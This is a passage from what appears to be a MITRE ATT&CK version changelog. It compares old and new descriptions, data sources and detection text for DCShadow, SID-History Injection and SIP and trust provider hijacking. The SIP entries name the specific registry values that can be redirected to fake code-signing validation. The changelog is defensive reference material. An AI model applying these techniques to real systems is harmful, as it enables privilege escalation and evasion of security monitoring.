| x_mitre_detection | If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) | If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may register a rogue Domain Controller to enable | t | 1 | Adversaries may register a rogue Domain Controller to enable |
| > | manipulation of Active Directory data. DCShadow may be used | > | manipulation of Active Directory data. DCShadow may be used | ||
| > | to create a rogue Domain Controller (DC). DCShadow is a met | > | to create a rogue Domain Controller (DC). DCShadow is a met | ||
| > | hod of manipulating Active Directory (AD) data, including ob | > | hod of manipulating Active Directory (AD) data, including ob | ||
| > | jects and schemas, by registering (or reusing an inactive re | > | jects and schemas, by registering (or reusing an inactive re | ||
| > | gistration) and simulating the behavior of a DC. (Citation: | > | gistration) and simulating the behavior of a DC. (Citation: | ||
| > | DCShadow Blog) Once registered, a rogue DC may be able to in | > | DCShadow Blog) Once registered, a rogue DC may be able to in | ||
| > | ject and replicate changes into AD infrastructure for any do | > | ject and replicate changes into AD infrastructure for any do | ||
| > | main object, including credentials and keys. Registering a | > | main object, including credentials and keys. Registering a | ||
| > | rogue DC involves creating a new server and nTDSDSA objects | > | rogue DC involves creating a new server and nTDSDSA objects | ||
| > | in the Configuration partition of the AD schema, which requi | > | in the Configuration partition of the AD schema, which requi | ||
| > | res Administrator privileges (either Domain or local to the | > | res Administrator privileges (either Domain or local to the | ||
| > | DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide | > | DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide | ||
| > | ) This technique may bypass system logging and security mon | > | ) This technique may bypass system logging and security mon | ||
| > | itors such as security information and event management (SIE | > | itors such as security information and event management (SIE | ||
| > | M) products (since actions taken on a rogue DC may not be re | > | M) products (since actions taken on a rogue DC may not be re | ||
| > | ported to these sensors). (Citation: DCShadow Blog) The tech | > | ported to these sensors). (Citation: DCShadow Blog) The tech | ||
| > | nique may also be used to alter and delete replication and o | > | nique may also be used to alter and delete replication and o | ||
| > | ther associated metadata to obstruct forensic analysis. Adve | > | ther associated metadata to obstruct forensic analysis. Adve | ||
| > | rsaries may also utilize this technique to perform [SID-Hist | > | rsaries may also utilize this technique to perform [SID-Hist | ||
| > | ory Injection](https://attack.mitre.org/techniques/T1178) an | > | ory Injection](https://attack.mitre.org/techniques/T1134/005 | ||
| > | d/or manipulate AD objects (such as accounts, access control | > | ) and/or manipulate AD objects (such as accounts, access con | ||
| > | lists, schemas) to establish backdoors for Persistence. (Ci | > | trol lists, schemas) to establish backdoors for Persistence. | ||
| > | tation: DCShadow Blog) | > | (Citation: DCShadow Blog) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-19 21:04:12.164000+00:00 | 2021-02-09 15:13:27.670000+00:00 |
| description | Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide) This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) | Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide) This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) |
| x_mitre_data_sources[0] | API monitoring | Active Directory: Active Directory Object Creation |
| x_mitre_data_sources[1] | Authentication logs | Active Directory: Active Directory Object Modification |
| x_mitre_data_sources[2] | Network protocol analysis | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Packet capture | User Account: User Account Authentication |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:31:42.113000+00:00 | 2021-01-20 18:12:11.843000+00:00 |
| x_mitre_data_sources[0] | DLL monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Loaded DLLs | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Module: Module Load |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use SID-History Injection to escalate privil | t | 1 | Adversaries may use SID-History Injection to escalate privil |
| > | eges and bypass access controls. The Windows security identi | > | eges and bypass access controls. The Windows security identi | ||
| > | fier (SID) is a unique value that identifies a user or group | > | fier (SID) is a unique value that identifies a user or group | ||
| > | account. SIDs are used by Windows security in both security | > | account. SIDs are used by Windows security in both security | ||
| > | descriptors and access tokens. (Citation: Microsoft SID) An | > | descriptors and access tokens. (Citation: Microsoft SID) An | ||
| > | account can hold additional SIDs in the SID-History Active | > | account can hold additional SIDs in the SID-History Active | ||
| > | Directory attribute (Citation: Microsoft SID-History Attribu | > | Directory attribute (Citation: Microsoft SID-History Attribu | ||
| > | te), allowing inter-operable account migration between domai | > | te), allowing inter-operable account migration between domai | ||
| > | ns (e.g., all values in SID-History are included in access t | > | ns (e.g., all values in SID-History are included in access t | ||
| > | okens). With Domain Administrator (or equivalent) rights, h | > | okens). With Domain Administrator (or equivalent) rights, h | ||
| > | arvested or well-known SID values (Citation: Microsoft Well | > | arvested or well-known SID values (Citation: Microsoft Well | ||
| > | Known SIDs Jun 2017) may be inserted into SID-History to ena | > | Known SIDs Jun 2017) may be inserted into SID-History to ena | ||
| > | ble impersonation of arbitrary users/groups such as Enterpri | > | ble impersonation of arbitrary users/groups such as Enterpri | ||
| > | se Administrators. This manipulation may result in elevated | > | se Administrators. This manipulation may result in elevated | ||
| > | access to local resources and/or access to otherwise inacces | > | access to local resources and/or access to otherwise inacces | ||
| > | sible domains via lateral movement techniques such as [Remot | > | sible domains via lateral movement techniques such as [Remot | ||
| > | e Services](https://attack.mitre.org/techniques/T1021), [Win | > | e Services](https://attack.mitre.org/techniques/T1021), [SMB | ||
| > | dows Admin Shares](https://attack.mitre.org/techniques/T1077 | > | /Windows Admin Shares](https://attack.mitre.org/techniques/T | ||
| > | ), or [Windows Remote Management](https://attack.mitre.org/t | > | 1021/002), or [Windows Remote Management](https://attack.mit | ||
| > | echniques/T1028). | > | re.org/techniques/T1021/006). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 21:49:31.964000+00:00 | 2021-02-09 15:49:58.414000+00:00 |
| description | Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens). With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028). | Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens). With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006). |
| x_mitre_data_sources[0] | Windows event logs | Process: OS API Execution |
| x_mitre_data_sources[1] | Authentication logs | User Account: User Account Metadata |
| x_mitre_data_sources[2] | API monitoring | Active Directory: Active Directory Object Modification |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may tamper with SIP and trust provider component | t | 1 | Adversaries may tamper with SIP and trust provider component |
| > | s to mislead the operating system and application control to | > | s to mislead the operating system and application control to | ||
| > | ols when conducting signature validation checks. In user mod | > | ols when conducting signature validation checks. In user mod | ||
| > | e, Windows Authenticode (Citation: Microsoft Authenticode) d | > | e, Windows Authenticode (Citation: Microsoft Authenticode) d | ||
| > | igital signatures are used to verify a file's origin and int | > | igital signatures are used to verify a file's origin and int | ||
| > | egrity, variables that may be used to establish trust in sig | > | egrity, variables that may be used to establish trust in sig | ||
| > | ned code (ex: a driver with a valid Microsoft signature may | > | ned code (ex: a driver with a valid Microsoft signature may | ||
| > | be handled as safe). The signature validation process is han | > | be handled as safe). The signature validation process is han | ||
| > | dled via the WinVerifyTrust application programming interfac | > | dled via the WinVerifyTrust application programming interfac | ||
| > | e (API) function, (Citation: Microsoft WinVerifyTrust) whic | > | e (API) function, (Citation: Microsoft WinVerifyTrust) whic | ||
| > | h accepts an inquiry and coordinates with the appropriate tr | > | h accepts an inquiry and coordinates with the appropriate tr | ||
| > | ust provider, which is responsible for validating parameters | > | ust provider, which is responsible for validating parameters | ||
| > | of a signature. (Citation: SpectorOps Subverting Trust Sept | > | of a signature. (Citation: SpectorOps Subverting Trust Sept | ||
| > | 2017) Because of the varying executable file types and cor | > | 2017) Because of the varying executable file types and cor | ||
| > | responding signature formats, Microsoft created software com | > | responding signature formats, Microsoft created software com | ||
| > | ponents called Subject Interface Packages (SIPs) (Citation: | > | ponents called Subject Interface Packages (SIPs) (Citation: | ||
| > | EduardosBlog SIPs July 2008) to provide a layer of abstracti | > | EduardosBlog SIPs July 2008) to provide a layer of abstracti | ||
| > | on between API functions and files. SIPs are responsible for | > | on between API functions and files. SIPs are responsible for | ||
| > | enabling API functions to create, retrieve, calculate, and | > | enabling API functions to create, retrieve, calculate, and | ||
| > | verify signatures. Unique SIPs exist for most file formats ( | > | verify signatures. Unique SIPs exist for most file formats ( | ||
| > | Executable, PowerShell, Installer, etc., with catalog signin | > | Executable, PowerShell, Installer, etc., with catalog signin | ||
| > | g providing a catch-all (Citation: Microsoft Catalog Files | > | g providing a catch-all (Citation: Microsoft Catalog Files | ||
| > | and Signatures April 2017)) and are identified by globally u | > | and Signatures April 2017)) and are identified by globally u | ||
| > | nique identifiers (GUIDs). (Citation: SpectorOps Subverting | > | nique identifiers (GUIDs). (Citation: SpectorOps Subverting | ||
| > | Trust Sept 2017) Similar to [Code Signing](https://attack.m | > | Trust Sept 2017) Similar to [Code Signing](https://attack.m | ||
| > | itre.org/techniques/T1116), adversaries may abuse this archi | > | itre.org/techniques/T1553/002), adversaries may abuse this a | ||
| > | tecture to subvert trust controls and bypass security polici | > | rchitecture to subvert trust controls and bypass security po | ||
| > | es that allow only legitimately signed code to execute on a | > | licies that allow only legitimately signed code to execute o | ||
| > | system. Adversaries may hijack SIP and trust provider compon | > | n a system. Adversaries may hijack SIP and trust provider co | ||
| > | ents to mislead operating system and application control too | > | mponents to mislead operating system and application control | ||
| > | ls to classify malicious (or any) code as signed by: (Citati | > | tools to classify malicious (or any) code as signed by: (Ci | ||
| > | on: SpectorOps Subverting Trust Sept 2017) * Modifying the | > | tation: SpectorOps Subverting Trust Sept 2017) * Modifying | ||
| > | <code>Dll</code> and <code>FuncName</code> Registry values i | > | the <code>Dll</code> and <code>FuncName</code> Registry valu | ||
| > | n <code>HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\O | > | es in <code>HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptograp | ||
| > | ID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID}</co | > | hy\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID} | ||
| > | de> that point to the dynamic link library (DLL) providing a | > | </code> that point to the dynamic link library (DLL) providi | ||
| > | SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves | > | ng a SIP’s CryptSIPDllGetSignedDataMsg function, which retri | ||
| > | an encoded digital certificate from a signed file. By point | > | eves an encoded digital certificate from a signed file. By p | ||
| > | ing to a maliciously-crafted DLL with an exported function t | > | ointing to a maliciously-crafted DLL with an exported functi | ||
| > | hat always returns a known good signature value (ex: a Micro | > | on that always returns a known good signature value (ex: a M | ||
| > | soft signature for Portable Executables) rather than the fil | > | icrosoft signature for Portable Executables) rather than the | ||
| > | e’s real signature, an adversary can apply an acceptable sig | > | file’s real signature, an adversary can apply an acceptable | ||
| > | nature value to all files using that SIP (Citation: GitHub S | > | signature value to all files using that SIP (Citation: GitH | ||
| > | IP POC Sept 2017) (although a hash mismatch will likely occu | > | ub SIP POC Sept 2017) (although a hash mismatch will likely | ||
| > | r, invalidating the signature, since the hash returned by th | > | occur, invalidating the signature, since the hash returned b | ||
| > | e function will not match the value computed from the file). | > | y the function will not match the value computed from the fi | ||
| > | * Modifying the <code>Dll</code> and <code>FuncName</code> | > | le). * Modifying the <code>Dll</code> and <code>FuncName</co | ||
| > | Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microso | > | de> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Mic | ||
| > | ft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirect | > | rosoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndi | ||
| > | Data\{SIP_GUID}</code> that point to the DLL providing a SIP | > | rectData\{SIP_GUID}</code> that point to the DLL providing a | ||
| > | ’s CryptSIPDllVerifyIndirectData function, which validates a | > | SIP’s CryptSIPDllVerifyIndirectData function, which validat | ||
| > | file’s computed hash against the signed hash value. By poin | > | es a file’s computed hash against the signed hash value. By | ||
| > | ting to a maliciously-crafted DLL with an exported function | > | pointing to a maliciously-crafted DLL with an exported funct | ||
| > | that always returns TRUE (indicating that the validation was | > | ion that always returns TRUE (indicating that the validation | ||
| > | successful), an adversary can successfully validate any fil | > | was successful), an adversary can successfully validate any | ||
| > | e (with a legitimate signature) using that SIP (Citation: Gi | > | file (with a legitimate signature) using that SIP (Citation | ||
| > | tHub SIP POC Sept 2017) (with or without hijacking the previ | > | : GitHub SIP POC Sept 2017) (with or without hijacking the p | ||
| > | ously mentioned CryptSIPDllGetSignedDataMsg function). This | > | reviously mentioned CryptSIPDllGetSignedDataMsg function). T | ||
| > | Registry value could also be redirected to a suitable export | > | his Registry value could also be redirected to a suitable ex | ||
| > | ed function from an already present DLL, avoiding the requir | > | ported function from an already present DLL, avoiding the re | ||
| > | ement to drop and execute a new file on disk. * Modifying th | > | quirement to drop and execute a new file on disk. * Modifyin | ||
| > | e <code>DLL</code> and <code>Function</code> Registry values | > | g the <code>DLL</code> and <code>Function</code> Registry va | ||
| > | in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography | > | lues in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptogr | ||
| > | \Providers\Trust\FinalPolicy\{trust provider GUID}</code> th | > | aphy\Providers\Trust\FinalPolicy\{trust provider GUID}</code | ||
| > | at point to the DLL providing a trust provider’s FinalPolicy | > | > that point to the DLL providing a trust provider’s FinalPo | ||
| > | function, which is where the decoded and parsed signature i | > | licy function, which is where the decoded and parsed signatu | ||
| > | s checked and the majority of trust decisions are made. Simi | > | re is checked and the majority of trust decisions are made. | ||
| > | lar to hijacking SIP’s CryptSIPDllVerifyIndirectData functio | > | Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData fun | ||
| > | n, this value can be redirected to a suitable exported funct | > | ction, this value can be redirected to a suitable exported f | ||
| > | ion from an already present DLL or a maliciously-crafted DLL | > | unction from an already present DLL or a maliciously-crafted | ||
| > | (though the implementation of a trust provider is complex). | > | DLL (though the implementation of a trust provider is compl | ||
| > | * **Note:** The above hijacks are also possible without mod | > | ex). * **Note:** The above hijacks are also possible without | ||
| > | ifying the Registry via [DLL Search Order Hijacking](https:/ | > | modifying the Registry via [DLL Search Order Hijacking](htt | ||
| > | /attack.mitre.org/techniques/T1038). Hijacking SIP or trust | > | ps://attack.mitre.org/techniques/T1574/001). Hijacking SIP | ||
| > | provider components can also enable persistent code executi | > | or trust provider components can also enable persistent code | ||
| > | on, since these malicious components may be invoked by any a | > | execution, since these malicious components may be invoked | ||
| > | pplication that performs code signing or signature validatio | > | by any application that performs code signing or signature v | ||
| > | n. (Citation: SpectorOps Subverting Trust Sept 2017) | > | alidation. (Citation: SpectorOps Subverting Trust Sept 2017) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:42:26.022000+00:00 | 2021-02-09 15:58:04.719000+00:00 |
| description | Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)
Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)
Similar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)
* Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
* Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
* Modifying the DLL and Function Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).
Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017) | Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)
Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)
Similar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)
* Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
* Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
* Modifying the DLL and Function Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017) |
| x_mitre_data_sources[0] | Windows Registry | Module: Module Load |
| x_mitre_data_sources[1] | API monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Application logs | File: File Modification |
| x_mitre_detection | Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017) Utilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012) * HKLM\SOFTWARE\Microsoft\Cryptography\OID * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID * HKLM\SOFTWARE\Microsoft\Cryptography\Providers\Trust * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\Providers\Trust **Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1117). (Citation: SpectorOps Subverting Trust Sept 2017) Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017) | Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017) Utilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012) * HKLM\SOFTWARE\Microsoft\Cryptography\OID * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID * HKLM\SOFTWARE\Microsoft\Cryptography\Providers\Trust * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\Providers\Trust **Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017) Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017) |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | DLL monitoring | |
| x_mitre_data_sources | Loaded DLLs | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Windows Registry | |
| x_mitre_data_sources | Windows event logs |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search within | t | 1 | Adversaries may search within public scan databases for info |
| > | public scan databases for information about victims that can | > | rmation about victims that can be used during targeting. Var | ||
| > | be used during targeting. Various online services continuou | > | ious online services continuously publish the results of Int | ||
| > | sly publish the results of Internet scans/surveys, often har | > | ernet scans/surveys, often harvesting information such as ac | ||
| > | vesting information such as active IP addresses, hostnames, | > | tive IP addresses, hostnames, open ports, certificates, and | ||
| > | open ports, certificates, and even server banners.(Citation: | > | even server banners.(Citation: Shodan) Adversaries may sear | ||
| > | Shodan) Adversaries may search scan databases to gather ac | > | ch scan databases to gather actionable information. Threat a | ||
